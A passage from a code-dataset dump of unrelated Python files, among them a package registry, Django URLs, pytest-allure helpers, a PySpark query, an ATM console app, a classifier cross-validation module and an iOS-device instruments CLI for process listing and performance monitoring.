FileBasedClientAbstract, params: Optional[List[str]] = None):\n if not isinstance(client, FileBasedClientAbstract):\n raise TypeError(\"Must be using FileBasedClient\")\n self.client = client\n super(PackageRegistryFileBased, self).__init__(name, params)\n\n def get_remote_params(self) -> Optional[List[str]]:\n params = None\n dirs = self.client.ls()\n for dir_name in dirs:\n if PackageRegistryFileBased.__params_prefix in dir_name:\n params = dir_name.split('__PARAM_SEPARATOR__')[1:]\n return params\n\n def initialize_remote_params(self, params: List[str]) -> None:\n self.client.mkdir(self.__serialize_params(self.params))\n\n @staticmethod\n def __serialize_params(params: List[str]) -> str:\n params = sorted(params)\n return '__PARAM_SEPARATOR__'.join([PackageRegistryFileBased.__params_prefix] + params)\n\n @staticmethod\n def __serialize_assignment(assignment: Dict[str, str]) -> str:\n for key, value in assignment.items():\n if len(value) == 0:\n raise ValueError(\"assignment value for param {} cannot be an empty string\".format(key))\n sorted_assignment_tuple = sorted(assignment.items(), key=lambda x: x[0])\n zipped_assignment = ['__BINARY_ASSIGNMENT__'.join(pair) for pair in sorted_assignment_tuple]\n return '__PARAM_SEPARATOR__'.join(zipped_assignment)\n\n @staticmethod\n def __unserialize_assignment(dir_name: str) -> Dict[str, str]:\n if not re.match(r\"((\\w+__BINARY_ASSIGNMENT__\\w+)__PARAM_SEPARATOR__)*(\\w+__BINARY_ASSIGNMENT__\\w+)\", dir_name):\n raise ValueError(\"Invalid dir_name syntax {}\".format(dir_name))\n return {arg.split('__BINARY_ASSIGNMENT__')[0]: arg.split('__BINARY_ASSIGNMENT__')[1] for arg in dir_name.split('__PARAM_SEPARATOR__')}\n\n def __get_serialized_assignment_to_wrapper_mapping(self) -> Dict[str, str]:\n dir_names = self.client.ls()\n dir_names.remove(self.__serialize_params(self.params))\n\n mapping = {}\n for dir_name in dir_names:\n sub_dirs = self.client.dispatch_subdir(dir_name).ls()\n if 'bin' in sub_dirs:\n sub_dirs.remove('bin')\n serialized_assignment = sub_dirs[0]\n mapping[serialized_assignment] = dir_name\n\n return mapping\n\n def list_package_binaries(self) -> List[Dict[str, str]]:\n return [PackageRegistryFileBased.__unserialize_assignment(serialized_assignment)\n for serialized_assignment in self.__get_serialized_assignment_to_wrapper_mapping()]\n\n @staticmethod\n def __random_string(length: int) -> str:\n return ''.join(random.choices(string.ascii_uppercase + string.digits, k=length))\n\n def allocate_space_for_binary(self, assignment: Dict[str, str]) -> None:\n serialized_assignment = PackageRegistryFileBased.__serialize_assignment(assignment)\n mapping = self.__get_serialized_assignment_to_wrapper_mapping()\n\n new_random_dir_name = PackageRegistryFileBased.__random_string(10)\n if new_random_dir_name in mapping.values():\n new_random_dir_name = PackageRegistryFileBased.__random_string(10)\n\n self.client.mkdir(new_random_dir_name)\n self.client.dispatch_subdir(new_random_dir_name).mkdir(serialized_assignment)\n return\n\n def remove_package_binary(self, assignment: Dict[str, str]):\n self.client.rmdir(self.__get_serialized_assignment_to_wrapper_mapping()[\n PackageRegistryFileBased.__serialize_assignment(assignment)\n ])\n\n def get_binary_context(self, assignment: Dict[str, str]):\n serialized_assignment = PackageRegistryFileBased.__serialize_assignment(assignment)\n return self.client.dispatch_subdir(\n self.__get_serialized_assignment_to_wrapper_mapping()[serialized_assignment]\n )\n\n def reset_remote_params(self, old_params: List[str], new_params: List[str]):\n self.client.mkdir(self.__serialize_params(new_params))\n self.client.rmdir(self.__serialize_params(old_params))\n\n def reset_binary_assignment(self, assignment: Dict[str, str], new_assignment: Dict[str, str]):\n sub_client = self.client.dispatch_subdir(\n self.__get_serialized_assignment_to_wrapper_mapping()[PackageRegistryFileBased.__serialize_assignment(\n assignment\n )]\n )\n sub_client.mkdir(PackageRegistryFileBased.__serialize_assignment(new_assignment))\n sub_client.rmdir(PackageRegistryFileBased.__serialize_assignment(assignment))\n","sub_path":"pacco/manager/file_based/package_registry.py","file_name":"package_registry.py","file_ext":"py","file_size_in_byte":5065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"220862452","text":"from django.conf.urls import url\nimport planner.views as views\n\napp_name = 'bp'\nurlpatterns = [\n\turl(r'^$', views.list, name='list'),\n\turl(r'^add-members$', views.AddMemberView.as_view(), name='add-members'),\n\turl(r'^likes$', views.LikesView.as_view(), name='likes'),\n\turl(r'^like-ready$', views.like_ready, name='like-ready'),\n]","sub_path":"bplanner/planner/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"298857227","text":"import os\nimport sys\nimport inspect\nfrom itertools import product\n\nALLURE_UNIQUE_LABELS = ['severity', 'thread', 'host']\nALLURE_LABEL_PREFIX = 'allure_label'\nALLURE_LINK_PREFIX = 'allure_link'\n\n\ndef allure_parameters(fixturedef, request):\n parameters = {}\n param_name = request.fixturename\n\n if hasattr(request, 'param'):\n parameters = {'name': fixturedef.ids[request.param_index] if fixturedef.ids else param_name,\n 'value': str(request.param)}\n\n if 'parametrize' in request.node.keywords.keys():\n param_map = list()\n for mark_info in request.node.keywords['parametrize']:\n\n _ids = mark_info.kwargs['ids'] if 'ids' in mark_info.kwargs.keys() else None\n _args = mark_info.args[0]\n if not isinstance(_args, (tuple, list)):\n _args = [x.strip() for x in _args.split(\",\") if x.strip()]\n\n param_map.append({'args': _args,\n 'has_ids': _ids is not None,\n 'ids': _ids if _ids else mark_info.args[1],\n 'values': list()})\n\n for variant in product(*[item['ids'] for item in param_map]):\n for i, item in enumerate(param_map):\n item['values'].append(variant[i])\n\n for item in param_map:\n if param_name in item['args'] and item['has_ids']:\n ids = item['values'][request.param_index]\n if len(item['args']) == 1:\n parameters = {'name': ids, 'value': str(request.param)}\n else:\n param_name = u'{ids}::{param}'.format(ids=ids, param=param_name)\n parameters = {'name': param_name, 'value': str(request.param)}\n\n return parameters\n\n\ndef allure_labels(item):\n for keyword in item.keywords.keys():\n if keyword.startswith(ALLURE_LABEL_PREFIX):\n marker = item.get_marker(keyword)\n label_type = marker.kwargs['label_type']\n if label_type in ALLURE_UNIQUE_LABELS:\n yield (label_type, marker.args[0])\n else:\n for value in marker.args:\n yield (label_type, value)\n\n\ndef allure_links(item):\n for keyword in item.keywords.keys():\n if keyword.startswith(ALLURE_LINK_PREFIX):\n marker = item.get_marker(keyword)\n link_type = marker.name.split('.', 1)[-1]\n url = marker.args[0]\n name = marker.kwargs['name']\n yield (link_type, url, name)\n\n\ndef allure_package(nodeid):\n parts = nodeid.split('::')\n path = parts[0].split('.')[0]\n return path.replace(os.sep, '.')\n\n\ndef allure_full_name(nodeid):\n parts = nodeid.split('::')\n package = allure_package(nodeid)\n clazz = u'.{clazz}'.format(clazz=parts[1]) if len(parts) > 2 else ''\n test = parts[-1]\n return u'{package}{clazz}#{test}'.format(package=package, clazz=clazz, test=test)\n\n\ndef step_parameters(func, *a, **kw):\n if sys.version_info.major < 3:\n all_names = inspect.getargspec(func).args\n defaults = inspect.getargspec(func).defaults\n else:\n all_names = inspect.getfullargspec(func).args\n defaults = inspect.getfullargspec(func).defaults\n args_part = [(n, str(v)) for n, v in zip(all_names, a)]\n kwarg_part = [(n, str(kw[n]) if n in kw else str(defaults[i])) for i, n in enumerate(all_names[len(a):])]\n return args_part + kwarg_part\n","sub_path":"allure-pytest/src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"205547227","text":"from pyspark.sql import SparkSession\nfrom io import StringIO\nimport csv\nimport time\nimport sys\n\n# Start counting execution time\nstart_time = time.time()\n\n\ndef split_complex(x):\n return list(csv.reader(StringIO(x), delimiter=','))[0]\n\n\ndef map_all_genres(tup):\n rating = tup[1][0]\n genres = tup[1][1]\n return ((genre, (rating, 1)) for genre in genres)\n\n\nspark = SparkSession.builder.appName(\"query_3_rdd\").getOrCreate()\n\nsc = spark.sparkContext\n\n# Emits: (MovieID, Rating)\nrdd_ratings = sc.textFile(\"hdfs://master:9000/movie_data/ratings.csv\") \\\n .map(lambda line: split_complex(line)) \\\n .map(lambda line: (int(line[1]), float(line[2])))\n\n# Emits: (MovieID, [Genres])\nrdd_movie_genres = sc.textFile(\"hdfs://master:9000/movie_data/movie_genres.csv\") \\\n .map(lambda line: split_complex(line)) \\\n .map(lambda line: (int(line[0]), line[1])) \\\n .groupByKey()\n# .mapValues(list) ## Only for pyspark\n\n# Emits: (MovieID, (Rating, [Genres]))\nrdd_joined = rdd_ratings.join(rdd_movie_genres)\n\n# Emits: (MovieID, (Avg Rating, [Genres]))\ngenres_avg_rating_by_movieID = rdd_joined \\\n .map(lambda tup: (tup[0], (tup[1][0], tup[1][1], 1))) \\\n .reduceByKey(lambda x, y: (x[0] + y[0], x[1], x[2] + y[2])) \\\n .map(lambda tup: (tup[0], (tup[1][0]/tup[1][2], tup[1][1])))\n\n# Emits: (Genre, Avg Rating, Count)\navg_ratings_per_genre = genres_avg_rating_by_movieID \\\n .flatMap(map_all_genres) \\\n .reduceByKey(lambda x, y: (x[0] + y[0], x[1] + y[1])) \\\n .map(lambda tup: (tup[0], tup[1][0]/tup[1][1], tup[1][1]))\n\nfor i in avg_ratings_per_genre.collect():\n print(i)\n\n\n# Calculate and Print Execution time\ntotal_time = time.time() - start_time\n\nwith open('queries_exec_times.txt', 'a+') as fp:\n fp.write(sys.argv[0].split('/')[-1] + ': ' +\n str(total_time) + ' seconds\\n')\n\nprint(\"--- %s seconds ---\" % (time.time() - start_time))\n","sub_path":"deliverables/code/query_3_rdd.py","file_name":"query_3_rdd.py","file_ext":"py","file_size_in_byte":1868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"640754247","text":"\r\nfrom admin import Admin\r\nfrom view import View\r\nfrom card import Card\r\nfrom atm import ATM\r\nfrom time import sleep\r\nfrom os import path, getcwd\r\nfrom pickle import load, dump\r\nfrom os import system\r\n\r\ndef main():\r\n #读取文件中的用户信息\r\n allUsers = {}\r\n filePath = path.join(getcwd(), \"alluser.txt\")\r\n if path.getsize(filePath) > 0:\r\n with open(filePath, \"rb\") as f:\r\n allUsers = load(f)\r\n\r\n atm = ATM(allUsers)\r\n admin = Admin(allUsers)\r\n view = View()\r\n\r\n # 开机\r\n view.printFirstView()\r\n if not admin.boot():\r\n return -1\r\n sleep(2)\r\n system(\"cls\")\r\n #用户操作\r\n while True:\r\n view.printSystemView()\r\n choice = input(\"请输入您的选择:\")\r\n if choice == \"open\":\r\n atm.openAccount()\r\n elif choice == \"search\":\r\n atm.searchInfor()\r\n elif choice == \"withdraw\":\r\n atm.withdrawals()\r\n elif choice == \"deposit\":\r\n atm.deposit()\r\n elif choice == \"transfer\":\r\n atm.transferMoney()\r\n elif choice == \"change\":\r\n atm.changePasswd()\r\n elif choice == \"lock\":\r\n atm.lock()\r\n elif choice == \"unlock\":\r\n atm.unlock()\r\n elif choice == \"reissue\":\r\n atm.reissueCard()\r\n elif choice == \"choice\":\r\n atm.choiceCardID()\r\n elif choice == \"delete\":\r\n atm.deleteUser()\r\n elif choice == \"more\":\r\n if admin.adminLogin():\r\n #管理员操作\r\n while True:\r\n view.printAdminView()\r\n moreChoice = input(\"请输入选择(请您谨慎操作!):\")\r\n if moreChoice == \"search\":\r\n admin.searchUserInfor()\r\n elif moreChoice == \"all\":\r\n admin.showAllUsersInfor()\r\n elif moreChoice == \"delOne\":\r\n admin.delOneUser()\r\n elif moreChoice == \"delAll\":\r\n admin.delAllUsers()\r\n elif moreChoice == \"quit\":\r\n print(\"操作成功!!正在返回主页面……\")\r\n sleep(1)\r\n break\r\n else:\r\n print(\"输入有误!!正在返回主页面……\")\r\n sleep(1)\r\n break\r\n system(\"cls\")\r\n elif choice == \"quit\":\r\n print(\"感谢您的使用!\")\r\n #写入文件\r\n creatFile(admin.allUsers)\r\n return 0\r\n else:\r\n print(\"输入有误,请重新选择!!\")\r\n sleep(1)\r\n system(\"cls\")\r\n#将用户写入文件\r\ndef creatFile(dictFile):\r\n filePath = path.join(getcwd(), \"alluser.txt\")\r\n f = open(filePath, \"wb\")\r\n dump(dictFile, f)\r\n f.close()\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n\r\n\r\n\r\n\r\n","sub_path":"自主ATM机系统/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"180373708","text":"import numpy as np\nimport pandas as pd\nfrom itertools import product\n\nfrom sklearn.cross_validation import LeavePLabelOut\nfrom sklearn.metrics import accuracy_score\nfrom joblib import Parallel, delayed\n\nfrom brainpipe.clf.utils._classif import _info\nfrom brainpipe.clf.utils._classif import *\nfrom brainpipe.tools import uorderlst\nfrom brainpipe.clf.utils._clfplt import clfplt\nfrom brainpipe.statistics import (bino_da2p, bino_p2da,\n perm_2pvalue, permIntraClass)\n\n__all__ = ['LeavePSubjectOut']\n\n\nclass LeavePSubjectOut(clfplt):\n\n \"\"\"Leave p-subbject out cross-validation\n\n Args:\n y: list\n List of label vectors for each subject.\n\n nsuj: int\n Number of subjects\n\n Kargs:\n pout: int\n Number of subjects to leave out for testing. If pout=1,\n this is a leave one-subject out\n\n clf: int / string / classifier object, optional, [def: 0]\n Define a classifier. If clf is an integer or a string, the\n classifier will be defined inside classify. Otherwise, it is\n possible to define a classifier before with defClf and past it in clf.\n\n clfArg: supplementar arguments\n This dictionnary can be used to define supplementar arguments for the\n classifier. See the documentation of defClf.\n \"\"\"\n\n def __init__(self, y, nsuj, pout=1, clf='lda', **clfArg):\n self._y = y\n self._ry = np.ravel(np.concatenate(y))\n self._nsuj = nsuj\n self._pout = pout\n # Manage cross-validation:\n self._cv = LeavePLabelOut(np.arange(nsuj), pout)\n self._cv.shStr = 'Leave '+str(pout)+' subjects out'\n self._cv.lgStr = self._cv.shStr\n self._cv.rep = 1\n self._cv.y = y[0]\n # Manage classifier :\n if isinstance(clf, (int, str)):\n clf = defClf(self._ry, clf=clf, **clfArg)\n self._clf = clf\n # Manage info:\n self._updatestring()\n # Stat tools:\n self.stat = clfstat()\n \n\n def fit(self, x, mf=False, center=False, grp=None,\n method='bino', n_perm=200, rndstate=0, n_jobs=-1):\n \"\"\"Apply the classification and cross-validation objects to the array x.\n\n Args:\n x: list\n List of dataset for each subject. All the dataset in the list\n should have the same number of columns but the number of lines\n could be diffrent for each subject and must correspond to the \n same number of lines each each label vector of y.\n\n Kargs:\n mf: bool, optional, [def: False]\n If mf=False, the returned decoding accuracy (da) will have a\n shape of (1, rep) where rep, is the number of repetitions.\n This mean that all the features are used together. If mf=True,\n da.shape = (M, rep), where M is the number of columns of x.\n\n center: optional, bool, [def: False]\n Normalize fatures with a zero mean by substracting then dividing\n by the mean. The center parameter should be set to True if the\n classifier is a svm.\n\n grp: array, optional, [def: None]\n If mf=True, the grp parameter allow to define group of features.\n If x.shape = (N, 5) and grp=np.array([0,0,1,2,1]), this mean that\n 3 groups of features will be considered : (0,1,2)\n\n method: string, optional, [def: 'bino']\n Four methods are implemented to test the statistical significiance\n of the decoding accuracy :\n\n - 'bino': binomial test\n - 'label_rnd': randomly shuffle the labels\n\n Methods 2 and 3 are based on permutations. They should provide\n similar results. But 4 should be more conservative.\n\n n_perm: integer, optional, [def: 200]\n Number of permutations for the methods 2, 3 and 4\n\n rndstate: integer, optional, [def: 0]\n Fix the random state of the machine. Usefull to reproduce results.\n\n n_jobs: integer, optional, [def: -1]\n Control the number of jobs to cumpute the decoding accuracy. If\n n_jobs = -1, all the jobs are used.\n\n Return:\n da: array\n The decoding accuracy of shape n_repetitions x n_features\n\n pvalue: array\n Array of associated pvalue of shape n_features\n\n daPerm: array\n Array of all the decodings obtained for each permutations of shape\n n_perm x n_features\n\n .. rubric:: Footnotes\n .. [#f8] `Ojala and Garriga, 2010 `_\n .. [#f9] `Combrisson and Jerbi, 2015 `_\n \"\"\"\n # Check x, y:\n xbk = x.copy()\n x, y, train, test = _checkXY(x, self._y, mf, grp, center, self)\n nsuj, nfeat = x.shape\n\n # Run classification:\n da, ytrue, ypred = _fit(x, y, train, test, self, n_jobs)\n\n # Get statistics:\n # -------------------------------------------------------------\n # Binomial :\n # -------------------------------------------------------------\n if method == 'bino':\n pvalue = bino_da2p(self._ry, da)\n daperm = None\n pperm = None\n # -------------------------------------------------------------\n # Permutations :\n # -------------------------------------------------------------\n # -> Shuffle the labels :\n elif method == 'label_rnd':\n y_sh = [_checkXY(xbk, [np.random.permutation(i) for i in self._y],\n mf, grp, center, self)[1] for k in range(n_perm)]\n cvs = Parallel(n_jobs=n_jobs)(delayed(_fit)(\n x, y_sh[k], train, test, self, 1)\n for k in range(n_perm))\n\n # Reconstruct daperm and get the associated p-value:\n daperm, _, _ = zip(*cvs)\n daperm = np.array(daperm).reshape(n_perm, nfeat)\n pvalue = perm_2pvalue(da, daperm, n_perm, tail=1)\n pperm = pvalue\n\n else:\n raise ValueError('No statistical method '+method+' found')\n\n # Try to get featinfo:\n try:\n if grp is not None:\n grp = uorderlst(grp)\n else:\n grp = np.arange(nfeat)\n self.info.featinfo = self.info._featinfo(self._clf, self._cv,\n da[:, np.newaxis], grp=grp,\n pperm=pperm)\n except:\n pass\n\n return da, pvalue, daperm\n\n def change_clf(self, clf='lda', **clfArg):\n \"\"\"Change the classifier\n \"\"\"\n if isinstance(clf, (int, str)):\n clf = defClf(self._ry, clf=clf, **clfArg)\n self._clf = clf\n tempinfo = _info(np.ravel(self._ry), self._cv,\n self._clf)._clfinfo(self._cv, self._clf)\n\n def _updatestring(self):\n \"\"\"Update info\n \"\"\"\n try:\n self.info = _info(np.ravel(self._ry), self._cv, self._clf)\n except:\n pass\n\ndef _fit(x, y, train, test, self, n_jobs):\n \"\"\"Sub fit function\n \"\"\"\n nsuj, nfeat = x.shape\n iteract = product(range(nfeat), zip(train, test))\n ya = Parallel(n_jobs=n_jobs)(delayed(_subfit)(\n np.concatenate(tuple(x[i].iloc[k[0]])),\n np.concatenate(tuple(x[i].iloc[k[1]])),\n np.concatenate(tuple(y[0].iloc[k[0]])),\n np.concatenate(tuple(y[0].iloc[k[1]])),\n self) for i, k in iteract)\n # Re-arrange ypred and ytrue:\n ypred, ytrue = zip(*ya)\n ypred = [np.concatenate(tuple(k)) for k in np.split(np.array(ypred), nfeat)]\n ytrue = [np.concatenate(tuple(k)) for k in np.split(np.array(ytrue), nfeat)]\n da = np.ravel([100*accuracy_score(ytrue[k], ypred[k]) for k in range(nfeat)])\n return da, ytrue, ypred\n\ndef _subfit(xtrain, xtest, ytrain, ytest, self):\n \"\"\"Sub sub-fitting function\n \"\"\"\n # Check size :\n if xtrain.ndim == 1:\n xtrain = xtrain[:, np.newaxis]\n if xtest.ndim == 1:\n xtest = xtest[:, np.newaxis]\n nfeat = xtrain.shape[1]\n\n # Train & classify:\n self._clf.fit(xtrain, ytrain)\n return self._clf.predict(xtest), ytest\n\ndef _checkXY(x, y, mf, grp, center, self):\n # Size checking:\n if not all([k.shape[1]==x[0].shape[1] for k in x]):\n raise ValueError('All features across subjects should have '\n 'the same number of features')\n\n # Center data:\n if center:\n x = [(k-np.tile(k.mean(0), (k.shape[0], 1)))/k.mean(0) for k in x]\n\n # Manage MF:\n if grp is not None:\n mf = True\n grp = np.ravel(grp)\n if not all([k.shape[1]==len(grp) for k in x]):\n raise ValueError('The length of the grp parameter must be equal '\n 'to the number of features for each subject.')\n \n if mf:\n if grp is None:\n x = pd.DataFrame([[k] for k in x])\n else:\n ugrp = uorderlst(grp)\n x = pd.DataFrame([[k[:, np.where(grp == i)[0]] for i in ugrp] for k in x])\n else:\n x = pd.DataFrame([np.ndarray.tolist(k.T) for k in x])\n y = pd.DataFrame([[k] for k in y])\n\n # Create training and testing set:\n train, test = [], []\n for training, testing in self._cv:\n train.append(list(training))\n test.append(list(testing))\n return x, y, train, test\n\ndef dfshuffle(df, axis=0, rnd=0):\n \"\"\"Shuffle dataframe\n \"\"\"\n rnd = np.random.RandomState(rnd)\n df = df.copy()\n df.apply(rnd.shuffle, axis=axis)\n return df","sub_path":"clf/_lpso.py","file_name":"_lpso.py","file_ext":"py","file_size_in_byte":9885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"215203036","text":"from .models import Beds, Ward\n\n\ndef get_patient_names(bed_type):\n try:\n ward = Ward.objects.filter(bed__type=bed_type)\n pateints = ward.values_list(\"patient__firstname\", flat=True)\n return pateints\n except Exception as e:\n print(e)\n\n\ndef get_status_of_beds(bed_type):\n try:\n beds = Beds.objects.filter(bed_type=bed_type , is_available=True)\n if beds:\n no_of_beds = beds.count()\n return f\"Total number of available beds are {no_of_beds}\"\n else:\n return \"Full\"\n except Exception as e:\n print(e)\n\n\ndef free_bed_list():\n try:\n beds = Beds.objects.filter(is_available=True)\n if beds:\n bed_numbers = beds.values_list(\"bed_number\", flat=True)\n return bed_numbers\n else:\n return \"full\"\n except Exception as e:\n print(e)\n\n\n\n\n\n","sub_path":"covidhms/beds/utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"580334590","text":"# flake8: noqa: C901\nimport dataclasses\nimport functools\nimport json\nimport struct\nimport sys\nimport threading\nfrom _ctypes import Structure\nfrom copy import deepcopy\nfrom ctypes import c_byte, c_uint16, c_uint32\nfrom datetime import datetime\n\nimport click\n\nfrom ios_device.cli.base import InstrumentsBase\nfrom ios_device.cli.cli import Command, print_json\nfrom ios_device.servers.DTXSever import InstrumentRPCParseError\nfrom ios_device.util import Log\nfrom ios_device.util.dtxlib import get_auxiliary_text\nfrom ios_device.util.kc_data import kc_data_parse\nfrom ios_device.util.variables import LOG\n\nlog = Log.getLogger(LOG.Instrument.value)\n\n\n@click.group()\ndef cli():\n \"\"\" instruments cli \"\"\"\n\n\n@cli.group(short_help='run instruments service')\ndef instruments():\n \"\"\"\n 运行 instruments 组件相关服务\n\n run instruments service\n \"\"\"\n\n\n@instruments.command('runningProcesses', cls=Command, short_help='Show running process list')\ndef cmd_running_processes(udid, network, format):\n \"\"\"\n 显示正在运行的进程信息\n\n Show running process list\n \"\"\"\n with InstrumentsBase(udid=udid, network=network) as rpc:\n processes = rpc.device_info.runningProcesses()\n print_json(processes, format)\n\n\n@instruments.command('applist', cls=Command)\n@click.option('-b', '--bundle_id', default=None, help='Process app bundleId to filter')\ndef cmd_application(udid, network, format, bundle_id):\n \"\"\" Show application list \"\"\"\n with InstrumentsBase(udid=udid, network=network) as rpc:\n apps = rpc.application_listing(bundle_id)\n print_json(apps, format)\n\n\n@instruments.command('kill', cls=Command)\n@click.option('-p', '--pid', type=click.INT, default=None, help='Process ID to filter')\n@click.option('-n', '--name', default=None, help='Process app name to filter')\n@click.option('-b', '--bundle_id', default=None, help='Process app bundleId to filter')\ndef cmd_kill(udid, network, format, pid, name, bundle_id):\n \"\"\" Kill a process by its pid. \"\"\"\n with InstrumentsBase(udid=udid, network=network) as rpc:\n if bundle_id or name:\n pid = rpc.get_pid(bundle_id, name)\n if not pid:\n log.error(f'The pid: {pid} did not start. Try \"-h or --help\" for help')\n return\n rpc.kill_app(pid)\n print(f'Kill {pid} ...')\n\n\n@instruments.command('launch', cls=Command)\n@click.option('--bundle_id', default=None, help='Process app bundleId to filter')\n@click.option('--app_env', default=None, help='App launch environment variable')\ndef cmd_launch(udid, network, format, bundle_id: str, app_env: dict):\n \"\"\"\n Launch a process.\n :param bundle_id: Arguments of process to launch, the first argument is the bundle id.\n :param app_env: App launch environment variable\n \"\"\"\n with InstrumentsBase(udid=udid, network=network) as rpc:\n pid = rpc.launch_app(bundle_id=bundle_id, app_env=app_env)\n print(f'Process launched with pid {pid}')\n\n\n@instruments.group('information')\ndef information():\n \"\"\" System information. \"\"\"\n\n\n@information.command('system', cls=Command)\ndef cmd_information_system(udid, network, format):\n \"\"\" Print system information. \"\"\"\n with InstrumentsBase(udid=udid, network=network) as rpc:\n print_json(rpc.device_info.systemInformation(), format)\n\n\n@information.command('hardware', cls=Command)\ndef cmd_information_hardware(udid, network, format):\n \"\"\" Print hardware information. \"\"\"\n with InstrumentsBase(udid=udid, network=network) as rpc:\n print_json(rpc.device_info.hardwareInformation(), format)\n\n\n@information.command('network', cls=Command)\ndef cmd_information_network(udid, network, format):\n \"\"\" Print network information. \"\"\"\n with InstrumentsBase(udid=udid, network=network) as rpc:\n print_json(rpc.device_info.networkInformation(), format)\n\n\n@instruments.command('xcode_energy', cls=Command)\n@click.option('-p', '--pid', type=click.INT, default=None, help='Process ID to filter')\n@click.option('-n', '--name', default=None, help='Process app name to filter')\n@click.option('-b', '--bundle_id', default=None, help='Process app bundleId to filter')\ndef cmd_xcode_energy(udid, network, pid, name, bundle_id, format):\n \"\"\" Print process about current network activity. \"\"\"\n with InstrumentsBase(udid=udid, network=network) as rpc:\n if bundle_id or name:\n pid = rpc.get_pid(bundle_id, name)\n if not pid:\n log.error(f'The pid: {pid} did not start. Try \"--help\" for help')\n return\n rpc.xcode_energy(pid)\n\n\n@instruments.command('network_process', cls=Command)\n@click.option('-p', '--pid', type=click.INT, default=None, help='Process ID to filter')\n@click.option('-n', '--name', default=None, help='Process app name to filter')\n@click.option('-b', '--bundle_id', default=None, help='Process app bundleId to filter')\ndef cmd_network_process(udid, network, pid, name, bundle_id, format):\n \"\"\" Print process about current network activity. \"\"\"\n with InstrumentsBase(udid=udid, network=network) as rpc:\n if bundle_id or name:\n pid = rpc.get_pid(bundle_id, name)\n if not pid:\n log.error(f'The pid: {pid} did not start. Try \"--help\" for help')\n return\n rpc.xcode_network(pid)\n\n\n@instruments.command('networking', cls=Command)\ndef cmd_networking(udid, network, format):\n \"\"\" Print information about current network activity. \"\"\"\n headers = {\n 0: ['InterfaceIndex', \"Name\"],\n 1: ['LocalAddress', 'RemoteAddress', 'InterfaceIndex', 'Pid', 'RecvBufferSize', 'RecvBufferUsed',\n 'SerialNumber', 'Kind'],\n 2: ['RxPackets', 'RxBytes', 'TxPackets', 'TxBytes', 'RxDups', 'RxOOO', 'TxRetx', 'MinRTT', 'AvgRTT',\n 'ConnectionSerial']\n }\n msg_type = {\n 0: \"interface-detection\",\n 1: \"connection-detected\",\n 2: \"connection-update\",\n }\n\n def on_callback_message(res):\n from socket import inet_ntoa, htons, inet_ntop, AF_INET6\n class SockAddr4(Structure):\n _fields_ = [\n ('len', c_byte),\n ('family', c_byte),\n ('port', c_uint16),\n ('addr', c_byte * 4),\n ('zero', c_byte * 8)\n ]\n\n def __str__(self):\n return f\"{inet_ntoa(self.addr)}:{htons(self.port)}\"\n\n class SockAddr6(Structure):\n _fields_ = [\n ('len', c_byte),\n ('family', c_byte),\n ('port', c_uint16),\n ('flowinfo', c_uint32),\n ('addr', c_byte * 16),\n ('scopeid', c_uint32)\n ]\n\n def __str__(self):\n return f\"[{inet_ntop(AF_INET6, self.addr)}]:{htons(self.port)}\"\n\n data = res.parsed\n if data[0] == 1:\n if len(data[1][0]) == 16:\n data[1][0] = str(SockAddr4.from_buffer_copy(data[1][0]))\n data[1][1] = str(SockAddr4.from_buffer_copy(data[1][1]))\n elif len(data[1][0]) == 28:\n data[1][0] = str(SockAddr6.from_buffer_copy(data[1][0]))\n data[1][1] = str(SockAddr6.from_buffer_copy(data[1][1]))\n print_json((msg_type[data[0]] + json.dumps(dict(zip(headers[data[0]], data[1])))))\n\n with InstrumentsBase(udid=udid, network=network) as rpc:\n rpc.networking(on_callback_message)\n\n\n@instruments.command('sysmontap', cls=Command)\n@click.option('-t', '--time', type=click.INT, default=1000, help='Output interval time (ms)')\n@click.option('-p', '--pid', type=click.INT, default=None, help='Process ID to filter')\n@click.option('-n', '--name', default=None, help='Process app name to filter')\n@click.option('-b', '--bundle_id', default=None, help='Process app bundleId to filter.Omit show all')\n@click.option('--processes', is_flag=True, help='Only output process information')\n@click.option('--sort', help='Process field sorting')\n@click.option('--proc_filter', help='Process param to filter split by \",\". Omit show all')\n@click.option('--sys_filter', help='System param to filter split by \",\". Omit show all')\ndef cmd_sysmontap(udid, network, format, time, pid, name, bundle_id, processes, sort, proc_filter,\n sys_filter):\n \"\"\" Get performance data \"\"\"\n\n def on_callback_message(res):\n if isinstance(res.parsed, list):\n data = deepcopy(res.parsed)\n processes_data = {}\n for index, row in enumerate(res.parsed):\n if 'Processes' in row:\n data[index]['Processes'] = {}\n for _pid, process in row['Processes'].items():\n process_attributes = dataclasses.make_dataclass('SystemProcessAttributes',\n proc_filter or rpc.process_attributes)\n attrs = process_attributes(*process)\n if pid and pid != _pid:\n continue\n if name and attrs.name != name:\n continue\n if processes:\n processes_data[f'{attrs.name}'] = attrs.__dict__\n continue\n data[index]['Processes'][f'{attrs.name}'] = attrs.__dict__\n data[index]['Processes'] = sorted(data[index]['Processes'].items(),\n key=lambda d: d[1].get(sort, 0),\n reverse=True)\n\n if 'System' in row:\n if 'SystemAttributes' in data[index]:\n del data[index]['SystemAttributes']\n if 'ProcessesAttributes' in data[index]:\n del data[index]['ProcessesAttributes']\n data[index]['System'] = dict(zip(rpc.system_attributes, row['System']))\n if processes:\n processes_data = sorted(processes_data.items(), key=lambda d: d[1].get(sort, 0) or 0,\n reverse=True)\n print_json(processes_data, format)\n else:\n print_json(print_json, format)\n\n with InstrumentsBase(udid=udid, network=network) as rpc:\n\n if proc_filter:\n data = rpc.device_info.sysmonProcessAttributes()\n proc_filter = proc_filter.split(',')\n proc_filter.extend(['name', 'pid'])\n proc_filter = list(set(proc_filter))\n for proc in proc_filter:\n if proc not in data:\n log.warn(f'{proc_filter} value:{proc} not in 